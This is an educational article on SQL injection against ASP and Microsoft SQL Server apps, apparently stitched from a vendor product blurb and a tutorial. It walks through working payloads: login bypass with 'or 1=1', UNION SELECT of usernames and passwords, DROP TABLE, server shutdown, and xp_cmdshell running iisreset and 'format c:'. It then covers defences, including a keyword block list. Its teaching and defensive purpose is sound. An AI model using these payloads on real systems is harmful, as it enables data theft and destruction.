SQL injection is a technique used to take advantage of non-validated input vulnerabilities to pass SQL commands through a Web application for execution by a backend database. Attackers take advantage of the fact that programmers often chain together SQL commands with user-provided parameters, and can therefore embed SQL commands inside these parameters. The result is that the attacker can execute arbitrary SQL queries and/or commands on the backend database server through the Web application.
Details
Databases are fundamental components of Web applications. Databases enable Web applications to store data, preferences and content elements. Using SQL, Web applications interact with databases to dynamically build customized data views for each user. A common example is a Web application that manages products. In one of the Web application’s dynamic pages (such as ASP), users are able to enter a product identifier and view the product name and description. The request sent to the database to retrieve the product’s name and description is implemented by the following SQL statement.
SELECT ProductName, ProductDescription FROM Products WHERE ProductNumber = ProductNumber
Typically, Web applications use string queries, where the string contains both the query itself and its parameters. The string is built using server-side script languages such as ASP, JSP and CGI, and is then sent to the database server as a single SQL statement. The following example demonstrates an ASP code that generates a SQL query.
sql_query= "
SELECT ProductName, ProductDescription
FROM Products
WHERE ProductNumber = " & Request.QueryString("ProductID")
The call Request.QueryString(“ProductID”) extracts the value of the Web form variable ProductID so that it can be appended as the SELECT condition.
When a user enters the following URL:
http://www.mydomain.com/products/products.asp?productid=123
The corresponding SQL query is executed:
SELECT ProductName, ProductDescription FROM Products WHERE ProductNumber = 123
An attacker may abuse the fact that the ProductID parameter is passed to the database without sufficient validation. The attacker can manipulate the parameter’s value to build malicious SQL statements. For example, setting the value “123 OR 1=1” to the ProductID variable results in the following URL:
http://www.mydomain.com/products/products.asp?productid=123 or 1=1
The corresponding SQL Statement is:
SELECT ProductName, Product Description FROM Products WHERE ProductNumber = 123 OR 1=1
This condition would always be true and all ProductName and ProductDescription pairs are returned. The attacker can manipulate the application even further by inserting malicious commands. For example, an attacker can request the following URL:
http://www.mydomain.com/products/products.asp?productid=123; DROP TABLE Products
In this example the semicolon is used to pass the database server multiple statements in a single execution. The second statement is “DROP TABLE Products” which causes SQL Server to delete the entire Products table.
An attacker may use SQL injection to retrieve data from other tables as well. This can be done using the SQL UNION SELECT statement. The UNION SELECT statement allows the chaining of two separate SQL SELECT queries that have nothing in common. For example, consider the following SQL query:
SELECT ProductName, ProductDescription FROM Products WHERE ProductID = '123' UNION SELECT Username, Password FROM Users;
The result of this query is a table with two columns, containing the results of the first and second queries, respectively. An attacker may use this type of SQL injection by requesting the following URL:
http://www.mydomain.com/products/products.asp?productid=123 UNION SELECT user-name, password FROM USERS
The security model used by many Web applications assumes that an SQL query is a trusted command. This enables attackers to exploit SQL queries to circumvent access controls, authentication and authorization checks. In some instances, SQL queries may allow access to host operating system level commands. This can be done using stored procedures. Stored procedures are SQL procedures usually bundled with the database server. For example, the extended stored procedure xp_cmdshell executes operating system commands in the context of a Microsoft SQL Server. Using the same example, the attacker can set the value of ProductID to be “123;EXEC master..xp_cmdshell dir–“, which returns the list of files in the current directory of the SQL Server process.
Prevention
The most common way of detecting SQL injection attacks is by looking for SQL signatures in the incoming HTTP stream. For example, looking for SQL commands such as UNION, SELECT or xp_. The problem with this approach is the very high rate of false positives. Most SQL commands are legitimate words that could normally appear in the incoming HTTP stream. This will eventually case the user to either disable or ignore any SQL alert reported. In order to overcome this problem to some extent, the product must learn where it should and shouldn’t expect SQL signatures to appear. The ability to discern parameter values from the entire HTTP request and the ability to handle various encoding scenarios are a must in this case.
Imperva SecureSphere does much more than that. It observes the SQL communication and builds a profile consisting of all allowed SQL queries. Whenever an SQL injection attack occurs, SecureSphere can detect the unauthorized query sent to the database. SecureSphere can also correlate anomalies on the SQL stream with anomalies on the HTTP stream to accurately detect SQL injection attacks.
Another important capability that SecureSphere introduces is the ability to monitor a user’s activity over time and to correlate various anomalies generated by the same user. For example, the occurrence of a certain SQL signature in a parameter value might not be enough to alert for SQL injection attack but the same signature in correlation with error responses or abnormal parameter size of even other signatures may indicate that this is an attempt at SQL injection attack.
Lets go in brief of the above
See the following queries
1. select * from users where userName=’john’ and userPass=” or 1=1 –‘
2. select * from users where userName=’ ‘ or 1=1 –‘ and userPass=”
Gets Admin Name
3. select userName from users where userName=” or users.userName like ‘a%’ –‘ and userPass=”
select userName from users where userName='';
shutdown with nowait; --' and userPass=''
If the user is set up as the default sa account, or the user has the required privileges, then SQL server will shut down, and will require a restart before it will function again.
SQL Server also includes several extended stored procedures, which are basically special C++ DLL’s that can contain powerful C/C++ code to manipulate the server, read directories and the registries, delete files, run the command prompt, etc. All extended stored procedures exist under the master database and are prefixed with “xp_“.
There are several extended stored procedures that can cause permanent damage to a system. We can execute an extended stored procedure using our login form with an injected command as the username, like this:
Username: '; exec master..xp_xxx; --
Password: [Anything]
All we have to do is pick the appropriate extended stored procedure and replace xp_xxxwith its name in the sample above. For example, if IIS was installed on the same machine as SQL Server (which is typical for small one/two man setups), then we could restart it by using the xp_cmdshell extended stored procedure (which executes a command string as an operating-system command) and IIS reset. All we need to do is enter the following user credentials into our getlogin.asp page:
Username: '; exec master..xp_cmdshell 'iisreset'; --
Password: [Anything]
This would send the following query to SQL Server:
select userName from users where userName='';
exec master..xp_cmdshell 'iisreset'; --' and userPass=''
As I’m sure you’ll agree, this can cause serious problems, and with the right commands, can cause an entire Website to malfunction.
In order for the products.asp page to function correctly, all that’s required is a numerical product Id passed as the productId querystring variable. Getting around this isn’t too much of a problem, however. Consider the following URL to products.asp:
http://localhost/products.asp?productId=0%20or%201=1
Each %20 in the URL represents a URL-encoded space character, so the URL really looks like this:
http://localhost/products.asp?productId=0 or 1=1
When used in conjunction with products.asp, the query looks like this:
select prodName from products where id = 0 or 1=1
Using a bit of know-how and some URL-encoding, we can just as easily pull the name of the products field from the products table:
http://localhost/products.asp?productId=0%20having%201=1
This would produce the following error in the browser:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'products.prodName' is invalid in the select
list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/products.asp, line 13
Now, we can take the name of the products field (products.prodName) and call up the following URL in the browser:
http://localhost/products.asp?productId=0;insert%20into%20products
(prodName)%20values(left(@@version,50))
Here’s the query without the URL-encoded spaces:
http://localhost/products.asp?productId=0;insert into
products(prodName) values(left(@@version,50))
Basically it returns “No product found”, however it also runs an INSERT query on the products table, adding the first 50 characters of SQL server’s @@version variable (which contains the details of SQL Server’s version, build, etc.) as a new record in the products table.
In a real-life situation, you would obviously have to exploit the products table more than this as it would contain dozens of other fields, however the methods would remain the same.
To get to the version, it’s now a simple matter of calling up the products.asp page with the value of the latest entry in the products table, like this:
http://localhost/products.asp?productId=(select%20max(id)%20from%20products)
What this query does is grab the ID of the latest row added to the products table using SQL server’s MAX function. The result outputs the new row that contains the SQL server version details:
Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
This method of injection can be used to perform numerous tasks. However the point of this article was to give tips on how to prevent SQL injection attacks, which is what we will look at next.
Preventions
Preventing SQL Injection Attacks
If you design your scripts and applications with care, SQL injection attacks can be avoided most of the time. There are a number of things that we as developers can do to reduce our site’s susceptibility to attack. Here’s a list (in no particular order) of our options:
Limit User Access
The default system account (sa) for SQL server 2000 should never be used because of its unrestricted nature. You should always setup specific accounts for specific purposes.
For example, if you run a database that lets users of your site view and order products, then you should set up a user called webUser_public that hasSELECT rights on the products table, and INSERT rights only on the orders table.
If you don’t make use of extended stored procedures, or have unused triggers, stored procedures, user-defined functions, etc, then remove them, or move them to an isolated server. Most extremely damaging SQL injection attacks attempt to make use of several extended stored procedures such asxp_cmdshell and xp_grantlogin, so by removing them, you’re theoretically blocking the attack before it can occur.
If you don’t make use of extended stored procedures, or have unused triggers, stored procedures, user-defined functions, etc, then remove them, or move them to an isolated server. Most extremely damaging SQL injection attacks attempt to make use of several extended stored procedures such asxp_cmdshell and xp_grantlogin, so by removing them, you’re theoretically blocking the attack before it can occur.
Escape Quotes
As we’ve seen from the examples discussed above, the majority of injection attacks require the user of single quotes to terminate an expression. By using a simple replace function and converting all single quotes to two single quotes, you’re greatly reducing the chance of an injection attack succeeding.
Using ASP, it’s a simple matter of creating a generic replace function that will handle the single quotes automatically, like this:
<%
function stripQuotes(strWords)
stripQuotes = replace(strWords, "'", "''")
end function
%>
Now if we use the stripQuotes function in conjunction with our first query for example, then it would go from this:
select count(*) from users where userName='john' and
userPass='' or 1=1 --'
…to this:
select count(*) from users where userName='john'' and
userPass=''' or 1=1 --'
This, in effect, stops the injection attack from taking place, because the clause for theWHERE query now requires both the userName and userPass fields to be valid.
Remove Culprit Characters/Character Sequences
As we’ve seen in this article, certain characters and character sequences such as ;, --,select, insert and xp_ can be used to perform an SQL injection attack. By removing these characters and character sequences from user input before we build a query, we can help reduce the chance of an injection attack even further.
As with the single quote solution, we just need a basic function to handle all of this for us:
<%
function killChars(strWords)
dim badChars
dim newChars
badChars = array("select", "drop", ";", "--", "insert",
"delete", "xp_")
newChars = strWords
for i = 0 to uBound(badChars)
newChars = replace(newChars, badChars(i), "")
next
killChars = newChars
end function
%>
Using stripQuotes in combination with killChars greatly removes the chance of any SQL injection attack from succeeding. So if we had the
query:
select prodName from products where id=1; xp_cmdshell 'format
c: /q /yes '; drop database myDB; --
and ran it through stripQuotes and then killChars, it would end up looking like this:
prodName from products where id=1 cmdshell ''format c:
/q /yes '' database myDB
…which is basically useless, and will return no records from the query.
Limit the Length of User Input
It’s no good having a text box on a form that can accept 50 characters if the field you’ll compare it against can only accept 10. By keeping all text boxes and form fields as short as possible, you’re taking away the number of characters that can be used to formulate an SQL injection attack.
If you’re accepting a querystring value for a product ID or the like, always use a function to check if the value is actually numeric, such as the IsNumeric() function for ASP. If the value isn’t numeric, then either raise an error or redirect the user to another page where they can choose a product.
Also, always try to post your forms with the method attribute set to POST, so clued-up users don’t get any ideas — they might if they saw your form variables tacked onto the end of the URL.
Conclusion
In this article we’ve seen what an SQL injection attack is and also how to tamper with forms and URLs to product the results of an attack.
It’s not always possible to guard against every type of SQL injection attack, however, hopefully you now know about the various types of SQL injection attacks that exist and have also planned ways to combat them on your servers.
Although we’ve only looked at SQL injection attacks with Microsoft SQL server in this article, keep in mind that no database is safe: SQL injection attacks can also occur on MySQL and Oracle database servers — among others.